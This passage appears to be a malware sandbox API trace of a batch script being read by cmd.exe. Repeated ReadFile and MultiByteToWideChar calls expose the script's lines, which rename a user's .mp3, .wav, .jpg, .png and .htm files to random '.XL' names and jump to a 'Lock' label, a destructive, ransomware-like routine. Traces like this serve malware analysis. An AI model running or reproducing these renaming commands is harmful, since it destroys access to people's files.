lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\n 13768.XL") returned 6 [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0037.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.312] GetFileType (hFile=0x74) returned 0x1 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0037.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=3311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0037.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0037.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0037.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.312] GetFileType (hFile=0x74) returned 0x1 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcef [0037.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=3337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0037.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0037.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0037.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.312] GetFileType (hFile=0x74) returned 0x1 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd09 [0037.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=3348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0037.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0037.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0037.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.313] GetFileType (hFile=0x74) returned 0x1 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd14 [0037.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=3350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0037.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0037.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.313] GetFileType (hFile=0x74) returned 0x1 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd16 [0037.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=3356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0037.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0037.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0037.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.313] GetFileType (hFile=0x74) returned 0x1 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1c [0037.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=3358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0037.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0037.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0037.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.314] GetFileType (hFile=0x74) returned 0x1 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd1e [0037.314] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=3384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0037.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0037.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0037.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.314] GetFileType (hFile=0x74) returned 0x1 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd38 [0037.314] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=3395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0037.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0037.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0037.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.314] GetFileType (hFile=0x74) returned 0x1 [0037.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd43 [0037.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=3397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0037.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0037.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.315] GetFileType (hFile=0x74) returned 0x1 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd45 [0037.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=3403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0037.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0037.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0037.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.315] GetFileType (hFile=0x74) returned 0x1 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4b [0037.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=3405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0037.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.315] GetFileType (hFile=0x74) returned 0x1 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4d [0037.316] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=3431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0037.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.316] GetFileType (hFile=0x74) returned 0x1 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd67 [0037.316] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=3442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.316] GetFileType (hFile=0x74) returned 0x1 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd72 [0037.316] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=3444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0037.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0037.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.317] GetFileType (hFile=0x74) returned 0x1 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd74 [0037.317] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=3450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0037.317] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0037.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0037.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.317] GetFileType (hFile=0x74) returned 0x1 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7a [0037.317] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=3452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0037.317] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0037.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0037.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.317] GetFileType (hFile=0x74) returned 0x1 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd7c [0037.317] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=3478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0037.317] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0037.317] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.317] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0037.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.318] GetFileType (hFile=0x74) returned 0x1 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0037.318] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=3489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0037.318] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0037.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.318] GetFileType (hFile=0x74) returned 0x1 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0037.318] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=3491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0037.318] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0037.318] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.318] GetFileType (hFile=0x74) returned 0x1 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0037.318] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.318] SetFilePointer (in: hFile=0x74, lDistanceToMove=3497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0037.318] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0037.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0037.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.319] GetFileType (hFile=0x74) returned 0x1 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0037.319] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=3499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0037.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0037.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0037.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.319] GetFileType (hFile=0x74) returned 0x1 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0037.319] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=3525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0037.319] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0037.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0037.319] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.319] GetFileType (hFile=0x74) returned 0x1 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0037.319] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.319] SetFilePointer (in: hFile=0x74, lDistanceToMove=3536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0037.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0037.320] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.320] SetFilePointer (in: hFile=0x74, 